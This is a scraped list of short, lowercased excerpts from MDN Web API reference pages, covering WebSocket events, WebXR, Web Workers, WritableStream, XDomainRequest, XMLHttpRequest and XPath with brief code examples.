WebSocket: error event - Web APIs
bubbles no cancelable no interface event event handler property onerror examples // create websocket connection const socket = new websocket('ws://localhost:8080'); // listen for possible errors socket.addeventlistener('error', function (event) { console.log('websocket error: ', event); }); specifications specification status html living standardthe definition of 'websocket error' in that specification.
WebSocket: message event - Web APIs
const socket = new websocket('ws://localhost:8080'); // listen for messages socket.addeventlistener('message', function (event) { console.log('message from server ', event.data); }); specifications specification status html living standardthe definition of 'websocket message' in that specification.
WebSocket: open event - Web APIs
const socket = new websocket('ws://localhost:8080'); // connection opened socket.addeventlistener('open', (event) => { socket.send('hello server!'); }); specifications specification status html living standardthe definition of 'websocket open' in that specification.
Writing WebSocket servers - Web APIs
client: fin=0, opcode=0x1, msg="and a" server: (listening, new message containing text started) client: fin=0, opcode=0x0, msg="happy new" server: (listening, payload concatenated to previous message) client: fin=1, opcode=0x0, msg="year!" server: (process complete message) happy new year to you too!
Fundamentals of WebXR - Web APIs
as browser developers built support for webvr and allowed developers to experiment, it became clear that in order to finish an api for virtual environments on the web, it would make more sense to start a new specification than to try to "fix" webvr.
WebXR application life cycle - Web APIs
if the promise returned by requestsession() resolves, use the new xrsession to manage the webxr session for the duration of the webxr experience.
WebXR performance guide - Web APIs
it makes sense, then, to have a limited set of these objects, simply replacing their contents with the new information each time you need to use them.
WebXR permissions and security - Web APIs
if all of that is true, the promise returned by requestsession() is resolved, and the new xrsession object is passed into the fulfillment handler.
WebXR Device API - Web APIs
foundations and basics fundamentals of webxr before diving into the details of how to create content using webxr, it may be helpful to read this overview of the technology, which includes introductions to terminology that may be unfamiliar to you, or which may be used in a new way.
Keyframe Formats - Web APIs
implicit to/from keyframes in newer browser versions, you are able to set a beginning or end state for an animation only (i.e.
Web Animations API - Web APIs
extensions to other interfaces the web animations api adds some new features to document and element.
Advanced techniques: Creating and sequencing audio - Web APIs
creating an audio context as you should be used to by now, each web audio api app starts with an audio context: // for cross browser compatibility const audiocontext = window.audiocontext || window.webkitaudiocontext; const audioctx = new audiocontext(); the "sweep" — oscillators, periodic waves, and envelopes for what we will call the "sweep" sound, that first noise you hear when you dial up, we're going to create an oscillator to generate the sound.
Web Crypto API - Web APIs
in order to avoid confusion, methods and properties of this interface have been removed from browsers implementing the web crypto api, and all web crypto api methods are available on a new interface: subtlecrypto.
Web Speech API - Web APIs
generally you'll use the interface's constructor to create a new speechrecognition object, which has a number of event handlers available for detecting when speech is input through the device's microphone.
Web Workers API - Web APIs
workers may in turn spawn new workers, as long as those workers are hosted within the same origin as the parent page.
WheelEvent.deltaMode - Web APIs
syntax var unit = event.deltamode; example var syntheticevent = new wheelevent("syntheticwheel", {"deltax": 4, "deltamode": 0}); console.log(syntheticevent.deltamode); specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'wheelevent.deltamode' in that specification.
WheelEvent.deltaX - Web APIs
WebAPIWheelEventdeltaX
syntax var dx = event.deltax; example var syntheticevent = new wheelevent("syntheticwheel", {"deltax": 4, "deltamode": 0}); console.log(syntheticevent.deltax); specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'wheelevent.deltax' in that specification.
WheelEvent.deltaY - Web APIs
WebAPIWheelEventdeltaY
syntax var dy = event.deltay; example var syntheticevent = new wheelevent("syntheticwheel", {"deltay": 4, "deltamode": 0}); console.log(syntheticevent.deltay); specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'wheelevent.deltay' in that specification.
WheelEvent.deltaZ - Web APIs
WebAPIWheelEventdeltaZ
syntax var dz = event.deltaz; example var syntheticevent = new wheelevent("syntheticwheel", {"deltaz": 4, "deltamode": 0}); console.log(syntheticevent.deltaz); specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'wheelevent.deltaz' in that specification.
Window: beforeunload event - Web APIs
if the user confirms, the browser navigates to the new page, otherwise it cancels the navigation.
Window.content - Web APIs
WebAPIWindowcontent
the former has been deprecated for a long time, and you should use content in any new code.
Window.crypto - Web APIs
WebAPIWindowcrypto
javascript genrandomnumbers = function getrandomnumbers() { var array = new uint32array(10); window.crypto.getrandomvalues(array); var randtext = document.getelementbyid("myrandtext"); randtext.innerhtml = "the random numbers are: " for (var i = 0; i < array.length; i++) { randtext.innerhtml += array[i] + " "; } } html <p id="myrandtext">the random numbers are: </p> <button type="button" onclick='genrandomnumbers()'>generate 10 random numbers</button> r...
window.dump() - Web APIs
WebAPIWindowdump
note: this preference is not listed in about:config by default, you may need to create it (right-click the content area -> new -> boolean).
Window.event - Web APIs
WebAPIWindowevent
you should avoid using this property in new code, and should instead use the event passed into the event handler function.
Window.getSelection() - Web APIs
working draft new spec.
window.location - Web APIs
WebAPIWindowlocation
syntax var oldlocation = location; location = newlocation; examples basic example alert(location); // alerts "/docs/web/api/window/location" example #1: navigate to a new page whenever a new value is assigned to the location object, a document will be loaded using the url as if location.assign() had been called with the modified url.
Window: pageshow event - Web APIs
try loading new pages into this tab, then navigating forward and backward through history, noting the events’ output to the log.</p> results specifications specification status comment html living standardthe definition of 'pageshow' in that specification.
window.postMessage() - Web APIs
methods for obtaining such a reference include: window.open (to spawn a new window and then reference it), window.opener (to reference the window that spawned this one), htmliframeelement.contentwindow (to reference an embedded <iframe> from its parent window), window.parent (to reference the parent window from within an embedded <iframe>), or window.frames + an index value (named or numeric).
Window.screenLeft - Web APIs
WebAPIWindowscreenLeft
initialleft = window.screenleft + canvaselem.offsetleft; initialtop = window.screentop + canvaselem.offsettop; function positionelem() { let newleft = window.screenleft + canvaselem.offsetleft; let newtop = window.screentop + canvaselem.offsettop; let leftupdate = initialleft - newleft; let topupdate = initialtop - newtop; ctx.fillstyle = 'rgb(0, 0, 0)'; ctx.fillrect(0, 0, width, height); ctx.fillstyle = 'rgb(0, 0, 255)'; ctx.beginpath(); ctx.arc(leftupdate + (width/2), topupdate + (height/2) + 35, 50, degtorad(0), degto...
Window.screenTop - Web APIs
WebAPIWindowscreenTop
initialleft = window.screenleft + canvaselem.offsetleft; initialtop = window.screentop + canvaselem.offsettop; function positionelem() { let newleft = window.screenleft + canvaselem.offsetleft; let newtop = window.screentop + canvaselem.offsettop; let leftupdate = initialleft - newleft; let topupdate = initialtop - newtop; ctx.fillstyle = 'rgb(0, 0, 0)'; ctx.fillrect(0, 0, width, height); ctx.fillstyle = 'rgb(0, 0, 255)'; ctx.beginpath(); ctx.arc(leftupdate + (width/2), topupdate + (height/2) + 35, 50, degtorad(0), degto...
Window.screenX - Web APIs
WebAPIWindowscreenX
initialleft = window.screenleft + canvaselem.offsetleft; initialtop = window.screentop + canvaselem.offsettop; function positionelem() { let newleft = window.screenleft + canvaselem.offsetleft; let newtop = window.screentop + canvaselem.offsettop; let leftupdate = initialleft - newleft; let topupdate = initialtop - newtop; ctx.fillstyle = 'rgb(0, 0, 0)'; ctx.fillrect(0, 0, width, height); ctx.fillstyle = 'rgb(0, 0, 255)'; ctx.beginpath(); ctx.arc(leftupdate + (width/2), topupdate + (height/2) + 35, 50, degtorad(0), degto...
Window.screenY - Web APIs
WebAPIWindowscreenY
initialleft = window.screenleft + canvaselem.offsetleft; initialtop = window.screentop + canvaselem.offsettop; function positionelem() { let newleft = window.screenleft + canvaselem.offsetleft; let newtop = window.screentop + canvaselem.offsettop; let leftupdate = initialleft - newleft; let topupdate = initialtop - newtop; ctx.fillstyle = 'rgb(0, 0, 0)'; ctx.fillrect(0, 0, width, height); ctx.fillstyle = 'rgb(0, 0, 255)'; ctx.beginpath(); ctx.arc(leftupdate + (width/2), topupdate + (height/2) + 35, 50, degtorad(0), degto...
Window.sessionStorage - Web APIs
opening a page in a new tab or window creates a new session with the value of the top-level browsing context, which differs from how session cookies work.
Window.stop() - Web APIs
WebAPIWindowstop
because of how scripts are executed, this method cannot interrupt its parent document's loading, but it will stop its images, new windows, and other still-loading objects.
WindowEventHandlers.onstorage - Web APIs
window.onstorage = function(e) { console.log('the ' + e.key + ' key has been changed from ' + e.oldvalue + ' to ' + e.newvalue + '.'); }; specifications specification status comment html living standardthe definition of 'onstorage' in that specification.
WindowOrWorkerGlobalScope.caches - Web APIs
working draft defined in a windoworworkerglobalscope partial in the newest spec.
self.createImageBitmap() - Web APIs
var canvas = document.getelementbyid('mycanvas'), ctx = canvas.getcontext('2d'), image = new image(); // wait for the sprite sheet to load image.onload = function() { promise.all([ // cut out two sprites from the sprite sheet createimagebitmap(image, 0, 0, 32, 32), createimagebitmap(image, 32, 0, 32, 32) ]).then(function(sprites) { // draw each sprite onto the canvas ctx.drawimage(sprites[0], 0, 0); ctx.drawimage(sprites[1], 32, 32); }); } // load the spri...
WindowOrWorkerGlobalScope.indexedDB - Web APIs
recommendation defined in a windoworworkerglobalscope partial in the newest spec.
WindowOrWorkerGlobalScope.queueMicrotask() - Web APIs
examples self.queuemicrotask(() => { // function contents here }) taken from the queuemicrotask spec: myelement.prototype.loaddata = function (url) { if (this._cache[url]) { queuemicrotask(() => { this._setdata(this._cache[url]); this.dispatchevent(new event("load")); }); } else { fetch(url).then(res => res.arraybuffer()).then(data => { this._cache[url] = data; this._setdata(data); this.dispatchevent(new event("load")); }); } }; when queuemicrotask() isn't available the code below is basically a monkey-patch for queuemicrotask() for modern engines.
WindowOrWorkerGlobalScope.setTimeout() - Web APIs
new feature test: myarray = ['zero', 'one', 'two']; myarray.mymethod = function (sproperty) { alert(arguments.length > 0 ?
Worker: message event - Web APIs
bubbles no cancelable no interface messageevent event handler property onmessage examples this code creates a new worker and listens to messages from it using addeventlistener(): const worker = new worker("static/scripts/worker.js"); worker.addeventlistener('message', (event) => { console.log(`received message from worker: ${event.data}`) }); alternatively, it could listen using the onmessage event handler property: const worker = new worker("static/scripts/worker.js"); worker.onmessage = (event) => { console.log(`received message fr...
Worker: messageerror event - Web APIs
bubbles no cancelable no interface messageevent event handler property onmessageerror examples create a worker, and listen for message and messageerror events using addeventlistener(): // inside main.js const worker = new worker("static/scripts/worker.js"); worker.addeventlistener("message", (event) => { console.error(`received message from worker: ${event}`); }); worker.addeventlistener("messageerror", (event) => { console.error(`error receiving message from worker: ${event}`); }); the same, but using the onmessageerror event handler property: // inside main.js const worker = new worker("static/scripts/worker.js"); ...
Worker.onmessage - Web APIs
WebAPIWorkeronmessage
var myworker = new worker('worker.js'); first.onchange = function() { myworker.postmessage([first.value,second.value]); console.log('message posted to worker'); } myworker.onmessage = function(e) { result.textcontent = e.data; console.log('message received from worker'); } in the worker.js script, an onmessage handler is used to the handle messages from the main script: onmessage = function(e) { cons...
Worker.terminate() - Web APIs
WebAPIWorkerterminate
var myworker = new worker('worker.js'); myworker.terminate(); specifications specification status comment html living standardthe definition of 'worker.terminate()' in that specification.
WorkerGlobalScope - Web APIs
in newer browser versions, close() is available on dedicatedworkerglobalscope and sharedworkerglobalscope instead.
WorkerNavigator.locks - Web APIs
the locks read-only property of the workernavigator interface returns a lockmanager object which provides methods for requesting a new lock object and querying for an existing lock object.
WorkerNavigator - Web APIs
workernavigator.locks read only returns a lockmanager object which provides methods for requesting a new lock object and querying for an existing lock object.
Worklet.addModule() - Web APIs
WebAPIWorkletaddModule
examples audioworklet example const audioctx = new audiocontext(); const audioworklet = audioctx.audioworklet; await audioworklet.addmodule('modules/bypassfilter.js', { credentials: 'omit', }); paintworklet example css.paintworklet.addmodule('https://mdn.github.io/houdini-examples/csspaint/intro/worklets/hilite.js'); once a paintworklet is included, the css paint() function can be used to include the image created by the worklet: @supports...
WritableStream.abort() - Web APIs
examples const writablestream = new writablestream({ write(chunk) { ...
WritableStream.locked - Web APIs
examples const writablestream = new writablestream({ write(chunk) { ...
WritableStreamDefaultController.error() - Web APIs
examples const writablestream = new writablestream({ start(controller) { // do stuff with controller // error stream if necessary controller.error('my error is broken'); }, write(chunk, controller) { ...
WritableStreamDefaultController - Web APIs
examples const writablestream = new writablestream({ start(controller) { // do stuff with controller // error stream if necessary controller.error('my stream is broken'); }, write(chunk, controller) { ...
WritableStreamDefaultWriter.abort() - Web APIs
examples const writablestream = new writablestream({ write(chunk) { ...
WritableStreamDefaultWriter.closed - Web APIs
examples const writablestream = new writablestream({ start(controller) { }, write(chunk, controller) { ...
WritableStreamDefaultWriter.desiredSize - Web APIs
examples const writablestream = new writablestream({ write(chunk) { ...
WritableStreamDefaultWriter.ready - Web APIs
function sendmessage(message, writablestream) { // defaultwriter is of type writablestreamdefaultwriter var defaultwriter = writablestream.getwriter(); var encoder = new textencoder(); var encoded = encoder.encode(message, {stream: true}); encoded.foreach(function(chunk) { // make sure the stream and its writer are able to // receive data.
WritableStreamDefaultWriter.releaseLock() - Web APIs
examples const writablestream = new writablestream({ write(chunk) { ...
XDomainRequest.abort() - Web APIs
syntax xdr.abort(); example var xdr = new xdomainrequest(); xdr.open("get", "http://example.com/api/method"); xdr.send(); xdr.abort(); specification not part of any specification.
XDomainRequest.onerror - Web APIs
example var xdr = new xdomainrequest(); xdr.open("post", "http://example.com/api/method"); xdr.onerror = function(){ //handle error } xdr.onload = function(){ //handle response with xdr.responsetext } xdr.send("param1=value1&param2=value2"); specification not part of any specification.
XDomainRequest.onload - Web APIs
syntax xdr.onload = funcref; example var xdr = new xdomainrequest(); xdr.open("post", "http://example.com/api/method"); xdr.onload = function(){ //handle response with xdr.responsetext } xdr.send("param1=value1&param2=value2"); specification not part of any specification.
XDomainRequest.onprogress - Web APIs
example var xdr = new xdomainrequest(); xdr.open("post", "http://example.com/api/method"); xdr.onprogress = function(){ //handle partial response with xdr.responsetext } xdr.onload = function(){ //handle response with xdr.responsetext } xdr.send("param1=value1&param2=value2"); specification not part of any specification.
XDomainRequest.ontimeout - Web APIs
example var xdr = new xdomainrequest(); xdr.open("post", "http://example.com/api/method"); xdr.ontimeout = function(){ //handle timeout } xdr.onload = function(){ //handle response with xdr.responsetext } xdr.send("param1=value1&param2=value2"); specification not part of any specification.
XDomainRequest.open() - Web APIs
example var xdr = new xdomainrequest(); xdr.open("get", "http://example.com/api/method"); specification not part of any specification.
XDomainRequest.send() - Web APIs
example var xdr = new xdomainrequest(); xdr.open("post", "http://example.com/api/method"); xdr.onload = function(){ //handle response with xdr.responsetext } xdr.send("param1=value1&param2=value2"); specification not part of any specification.
XMLDocument.async - Web APIs
WebAPIXMLDocumentasync
(it has been possible to load documents synchronously since 1.4 alpha.) example function loadxmldata(e) { alert(new xmlserializer().serializetostring(e.target)); // gives querydata.xml contents as string } var xmldoc = document.implementation.createdocument("", "test", null); xmldoc.async = false; xmldoc.onload = loadxmldata; xmldoc.load('querydata.xml'); ...
XMLDocument.load() - Web APIs
WebAPIXMLDocumentload
examples var xmldoc = document.implementation.createdocument("", "test", null); function documentloaded (e) { alert(new xmlserializer().serializetostring(e.target)); // gives querydata.xml contents as string } xmldoc.addeventlistener("load", documentloaded, false); xmldoc.load('querydata.xml'); see also the load sample in the xml tests directory.
Using XMLHttpRequest in IE6 - Web APIs
in all modern browsers, you can create a new xmlhttprequest object using the following code: var request = new xmlhttprequest() however, if you need to also support internet explorer 6 and older, you need to extend your code like this: if (window.xmlhttprequest) { //firefox, opera, ie7, and other browsers will use the native object var request = new xmlhttprequest(); } else { //ie 5 and 6 will use the activex control var request = new activexobject("microsoft.xmlhttp"); } see also using xmlhttprequest ...
XMLHttpRequest.abort() - Web APIs
var xhr = new xmlhttprequest(), method = "get", url = "https://developer.mozilla.org/"; xhr.open(method, url, true); xhr.send(); if (oh_noes_we_need_to_cancel_right_now_or_else) { xhr.abort(); } specifications specification status comment xmlhttprequest living standard whatwg living standard ...
XMLHttpRequest: abort event - Web APIs
`; } function addlisteners(xhr) { xhr.addeventlistener('loadstart', handleevent); xhr.addeventlistener('load', handleevent); xhr.addeventlistener('loadend', handleevent); xhr.addeventlistener('progress', handleevent); xhr.addeventlistener('error', handleevent); xhr.addeventlistener('abort', handleevent); } function runxhr(url) { log.textcontent = ''; const xhr = new xmlhttprequest(); addlisteners(xhr); xhr.open("get", url); xhr.send(); return xhr; } xhrbuttonsuccess.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg'); }); xhrbuttonerror.addeventlistener('click', () => { runxhr('https://somewhere.org/i-dont-exist'); }); xhrbuttonabort.addeventlistener('click', () => { runxhr('...
XMLHttpRequest: error event - Web APIs
`; } function addlisteners(xhr) { xhr.addeventlistener('loadstart', handleevent); xhr.addeventlistener('load', handleevent); xhr.addeventlistener('loadend', handleevent); xhr.addeventlistener('progress', handleevent); xhr.addeventlistener('error', handleevent); xhr.addeventlistener('abort', handleevent); } function runxhr(url) { log.textcontent = ''; const xhr = new xmlhttprequest(); addlisteners(xhr); xhr.open("get", url); xhr.send(); return xhr; } xhrbuttonsuccess.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg'); }); xhrbuttonerror.addeventlistener('click', () => { runxhr('https://somewhere.org/i-dont-exist'); }); xhrbuttonabort.addeventlistener('click', () => { runxhr('...
XMLHttpRequest.getAllResponseHeaders() - Web APIs
var request = new xmlhttprequest(); request.open("get", "foo.txt", true); request.send(); request.onreadystatechange = function() { if(this.readystate == this.headers_received) { // get the raw header string var headers = request.getallresponseheaders(); // convert the header string into an array // of individual headers var arr = headers.trim().split(/[\r\n]+/); // create a map of he...
XMLHttpRequest.getResponseHeader() - Web APIs
var client = new xmlhttprequest(); client.open("get", "unicorns-are-teh-awesome.txt", true); client.send(); client.onreadystatechange = function() { if(this.readystate == this.headers_received) { var contenttype = client.getresponseheader("content-type"); if (contenttype != my_expected_type) { client.abort(); } } } specifications specification status comment xm...
XMLHttpRequest: load event - Web APIs
`; } function addlisteners(xhr) { xhr.addeventlistener('loadstart', handleevent); xhr.addeventlistener('load', handleevent); xhr.addeventlistener('loadend', handleevent); xhr.addeventlistener('progress', handleevent); xhr.addeventlistener('error', handleevent); xhr.addeventlistener('abort', handleevent); } function runxhr(url) { log.textcontent = ''; const xhr = new xmlhttprequest(); addlisteners(xhr); xhr.open("get", url); xhr.send(); return xhr; } xhrbuttonsuccess.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg'); }); xhrbuttonerror.addeventlistener('click', () => { runxhr('https://somewhere.org/i-dont-exist'); }); xhrbuttonabort.addeventlistener('click', () => { runxhr('...
XMLHttpRequest: loadend event - Web APIs
`; } function addlisteners(xhr) { xhr.addeventlistener('loadstart', handleevent); xhr.addeventlistener('load', handleevent); xhr.addeventlistener('loadend', handleevent); xhr.addeventlistener('progress', handleevent); xhr.addeventlistener('error', handleevent); xhr.addeventlistener('abort', handleevent); } function runxhr(url) { log.textcontent = ''; const xhr = new xmlhttprequest(); addlisteners(xhr); xhr.open("get", url); xhr.send(); return xhr; } xhrbuttonsuccess.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg'); }); xhrbuttonerror.addeventlistener('click', () => { runxhr('https://somewhere.org/i-dont-exist'); }); xhrbuttonabort.addeventlistener('click', () => { runxhr('...
XMLHttpRequest: loadstart event - Web APIs
`; } function addlisteners(xhr) { xhr.addeventlistener('loadstart', handleevent); xhr.addeventlistener('load', handleevent); xhr.addeventlistener('loadend', handleevent); xhr.addeventlistener('progress', handleevent); xhr.addeventlistener('error', handleevent); xhr.addeventlistener('abort', handleevent); } function runxhr(url) { log.textcontent = ''; const xhr = new xmlhttprequest(); addlisteners(xhr); xhr.open("get", url); xhr.send(); return xhr; } xhrbuttonsuccess.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg'); }); xhrbuttonerror.addeventlistener('click', () => { runxhr('https://somewhere.org/i-dont-exist'); }); xhrbuttonabort.addeventlistener('click', () => { runxhr('...
XMLHttpRequest.multipart - Web APIs
this enables support for server push; for each xml document that's written to this request, a new xml dom document is created and the onload handler is called between documents.
XMLHttpRequest.onreadystatechange - Web APIs
examples const xhr = new xmlhttprequest(), method = "get", url = "https://developer.mozilla.org/"; xhr.open(method, url, true); xhr.onreadystatechange = function () { // in local files, status is 0 upon success in mozilla firefox if(xhr.readystate === xmlhttprequest.done) { var status = xhr.status; if (status === 0 || (status >= 200 && status < 400)) { // the request has been completed successf...
XMLHttpRequest.open() - Web APIs
the xmlhttprequest method open() initializes a newly-created request, or re-initializes an existing one.
XMLHttpRequest.overrideMimeType() - Web APIs
// interpret the received data as plain text req = new xmlhttprequest(); req.overridemimetype("text/plain"); req.addeventlistener("load", callback, false); req.open("get", url); req.send(); specifications specification status comment xmlhttprequestthe definition of 'overridemimetype()' in that specification.
XMLHttpRequest: progress event - Web APIs
`; } function addlisteners(xhr) { xhr.addeventlistener('loadstart', handleevent); xhr.addeventlistener('load', handleevent); xhr.addeventlistener('loadend', handleevent); xhr.addeventlistener('progress', handleevent); xhr.addeventlistener('error', handleevent); xhr.addeventlistener('abort', handleevent); } function runxhr(url) { log.textcontent = ''; const xhr = new xmlhttprequest(); addlisteners(xhr); xhr.open("get", url); xhr.send(); return xhr; } xhrbuttonsuccess.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg'); }); xhrbuttonerror.addeventlistener('click', () => { runxhr('https://somewhere.org/i-dont-exist'); }); xhrbuttonabort.addeventlistener('click', () => { runxhr('...
XMLHttpRequest.readyState - Web APIs
example var xhr = new xmlhttprequest(); console.log('unsent', xhr.readystate); // readystate will be 0 xhr.open('get', '/api', true); console.log('opened', xhr.readystate); // readystate will be 1 xhr.onprogress = function () { console.log('loading', xhr.readystate); // readystate will be 3 }; xhr.onload = function () { console.log('done', xhr.readystate); // readystate will be 4 }; xhr.send(null); speci...
XMLHttpRequest.response - Web APIs
var url = 'somepage.html'; //a local page function load(url, callback) { var xhr = new xmlhttprequest(); xhr.onreadystatechange = function() { if (xhr.readystate === 4) { callback(xhr.response); } } xhr.open('get', url, true); xhr.send(''); } specifications specification status comment xmlhttprequest living standard whatwg living standard ...
XMLHttpRequest.responseText - Web APIs
example var xhr = new xmlhttprequest(); xhr.open('get', '/server', true); // if specified, responsetype must be empty string or "text" xhr.responsetype = 'text'; xhr.onload = function () { if (xhr.readystate === xhr.done) { if (xhr.status === 200) { console.log(xhr.response); console.log(xhr.responsetext); } } }; xhr.send(null); specifications specification...
XMLHttpRequest.responseURL - Web APIs
example var xhr = new xmlhttprequest(); xhr.open('get', 'http://example.com/test', true); xhr.onload = function () { console.log(xhr.responseurl); // http://example.com/test }; xhr.send(null); specifications specification status comment xmlhttprequest living standard whatwg living standard ...
XMLHttpRequest.responseXML - Web APIs
example var xhr = new xmlhttprequest; xhr.open('get', '/server'); // if specified, responsetype must be empty string or "document" xhr.responsetype = 'document'; // force the response to be parsed as xml xhr.overridemimetype('text/xml'); xhr.onload = function () { if (xhr.readystate === xhr.done && xhr.status === 200) { console.log(xhr.response, xhr.responsexml); } }; xhr.send(); specifications ...
XMLHttpRequest.sendAsBinary() - Web APIs
/*\ |*| |*| :: xmlhttprequest.prototype.sendasbinary() polyfill :: |*| |*| https://developer.mozilla.org/docs/dom/xmlhttprequest#sendasbinary() |*| \*/ if (!xmlhttprequest.prototype.sendasbinary) { xmlhttprequest.prototype.sendasbinary = function (sdata) { var nbytes = sdata.length, ui8data = new uint8array(nbytes); for (var nidx = 0; nidx < nbytes; nidx++) { ui8data[nidx] = sdata.charcodeat(nidx) & 0xff; } /* send as arraybufferview...: */ this.send(ui8data); /* ...or as arraybuffer (legacy)...: this.send(ui8data.buffer); */ }; } note: it's possible to build this polyfill putting two types of data as argument for send(): an arraybuffer (ui8data.buffer – the...
XMLHttpRequest.status - Web APIs
example var xhr = new xmlhttprequest(); console.log('unsent: ', xhr.status); xhr.open('get', '/server'); console.log('opened: ', xhr.status); xhr.onprogress = function () { console.log('loading: ', xhr.status); }; xhr.onload = function () { console.log('done: ', xhr.status); }; xhr.send(); /** * outputs the following: * * unsent: 0 * opened: 0 * loading: 200 * done: 200 */ specifications specification status comment xmlhttprequest living standard whatwg living standard ...
XMLHttpRequest.statusText - Web APIs
example var xhr = new xmlhttprequest(); console.log('0 unsent', xhr.statustext); xhr.open('get', '/server', true); console.log('1 opened', xhr.statustext); xhr.onprogress = function () { console.log('3 loading', xhr.statustext); }; xhr.onload = function () { console.log('4 done', xhr.statustext); }; xhr.send(null); /** * outputs the following: * * 0 unsent * 1 opened * 3 loading ok * 4 done ok */ spe...
XMLHttpRequest.timeout - Web APIs
example var xhr = new xmlhttprequest(); xhr.open('get', '/server', true); xhr.timeout = 2000; // time in milliseconds xhr.onload = function () { // request finished.
XMLHttpRequest: timeout event - Web APIs
bubbles no cancelable no interface progressevent event handler property ontimeout examples const client = new xmlhttprequest(); client.open('get', 'http://www.example.org/example.txt'); client.ontimeout = () => { console.error('timeout!!') }; client.send(); you could also set up the event handler using the addeventlistener() method: client.addeventlistener('timeout', () => { console.error("timeout!!"); }); specifications specification status comment xmlhttprequestthe definition of 'timeout event' in that specification.
XMLHttpRequest.withCredentials - Web APIs
example var xhr = new xmlhttprequest(); xhr.open('get', 'http://example.com/', true); xhr.withcredentials = true; xhr.send(null); specifications specification status comment xmlhttprequest living standard whatwg living standard ...
XMLHttpRequestEventTarget.onabort - Web APIs
example var xmlhttp = new xmlhttprequest(), method = 'get', url = 'https://developer.mozilla.org/'; xmlhttp.open(method, url, true); xmlhttp.onabort = function () { console.log('** the request was aborted'); }; xmlhttp.send(); //..
XMLHttpRequestEventTarget.onerror - Web APIs
example var xmlhttp = new xmlhttprequest(), method = 'get', url = 'https://developer.mozilla.org/'; xmlhttp.open(method, url, true); xmlhttp.onerror = function () { console.log("** an error occurred during the transaction"); }; xmlhttp.send(); specifications specification status comment xmlhttprequest living standard whatwg living standard ...
XMLHttpRequestEventTarget.onload - Web APIs
example var xmlhttp = new xmlhttprequest(), method = 'get', url = 'https://developer.mozilla.org/'; xmlhttp.open(method, url, true); xmlhttp.onload = function () { // do something with the retrieved data ( found in xmlhttp.response ) }; xmlhttp.send(); specifications specification status comment xmlhttprequest living standard whatwg living standard ...
XMLHttpRequestEventTarget.onloadstart - Web APIs
example var xmlhttp = new xmlhttprequest(), method = 'get', url = 'https://developer.mozilla.org/'; xmlhttp.open(method, url, true); xmlhttp.onloadstart = function () { console.log("download underway"); }; xmlhttp.send(); specifications specification status comment xmlhttprequest living standard whatwg living standard ...
XMLHttpRequestEventTarget.onprogress - Web APIs
xmlhttprequest.onprogress = function (event) { event.loaded; event.total; }; example var xmlhttp = new xmlhttprequest(), method = 'get', url = 'https://developer.mozilla.org/'; xmlhttp.open(method, url, true); xmlhttp.onprogress = function () { //do something }; xmlhttp.send(); specifications specification status comment xmlhttprequest living standard whatwg living standard ...
XPathEvaluator.createExpression() - Web APIs
html <div>xpath example</div> <div>number of &lt;div&gt;s: <output></output></div> javascript var xpath = "//div"; var evaluator = new xpathevaluator(); var expression = evaluator.createexpression("//div"); var result = expression.evaluate(document, xpathresult.ordered_node_snapshot_type); document.queryselector("output").textcontent = result.snapshotlength; result specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathevaluator.cre...
XPathEvaluator - Web APIs
html <div>xpath example</div> <div>number of &lt;div&gt;s: <output></output></div> javascript var xpath = "//div"; var evaluator = new xpathevaluator(); var expression = evaluator.createexpression("//div"); var result = expression.evaluate(document, xpathresult.ordered_node_snapshot_type); document.queryselector("output").textcontent = result.snapshotlength; result specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathevaluator' in...
XPathExpression - Web APIs
html <div>xpath example</div> <div>number of &lt;div&gt;s: <output></output></div> javascript var xpath = "//div"; var evaluator = new xpathevaluator(); var expression = evaluator.createexpression(xpath); var result = expression.evaluate(document, xpathresult.ordered_node_snapshot_type); document.queryselector("output").textcontent = result.snapshotlength; result specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathexpression' in ...
XRInputSourceEvent - Web APIs
constructor xrinputsourceevent() creates and returns a new xrinputsourceevent object whose properties match those provided in the eventinitdict dictionary provided.
XRInputSourceEventInit - Web APIs
the xrinputsourceeventinit dictionary is used when calling the xrinputsourceevent() constructor to provide configuration options for the newly-created xrinputsourceevent object to take on.
XRInputSourcesChangeEvent.removed - Web APIs
it looks for new and removed devices whose targetraymode is tracked-pointer.
XRInputSourcesChangeEventInit.removed - Web APIs
syntax let inputsourceseventinit = { session: xrsession, added: [newdevice1, ..., newdevicen], removed: [removeddevice1, ..., newdevicen], }; myinputsourceschangeevent = new xrinputsourceschangeeventinit("inputsourceschange", inputsourceseventinit); myinputsourceschangeevent = new xrinputsourceschangeeventinit("inputsourceschange", { session: xrsession, added: addeddevicelist, removed: removeddevicelist }); value an array of zero or more xrinputsource objects...
XRInputSourcesChangeEventInit.session - Web APIs
syntax let inputsourceseventinit = { session: xrsession, added: [newdevice1, ..., newdevicen], removed: [removeddevice1, ..., newdevicen], }; myinputsourceschangeevent = new xrinputsourceschangeeventinit("inputsourceschange", inputsourceseventinit); myinputsourceschangeevent = new xrinputsourceschangeeventinit("inputsourceschange", { session: xrsession, added: addeddevicelist, removed: removeddevicelist }); value an xrsession indicating the webxr session to which the input source list change applies.
XRReferenceSpaceEvent - Web APIs
constructor xrreferencespaceevent() returns a new xrreferencespaceevent with the specified type and configured using the values in the given xrreferencespaceeventinit dictionary.
XRRigidTransform.orientation - Web APIs
examples to create a reference space which is oriented to look straight up, positioned 2 meters off of ground level: xrreferencespace = refspace.getoffsetreferencespace( new xrrigidtransform({y: -2}, {x: 0.0, y: 1.0, z: 0.0, w: 1.0}); ); the unit quaternion specified here is [0.0, 1.0, 0.0, 1.0] to indicate that the object should be facing directly along the y axis.
XRSession.onsqueezeend - Web APIs
that's because (in this example, at least) the handler for the squeeze event has already dropped the object into its new location and then cleared the value of heldobject to indicate that the user is no longer holding anything.
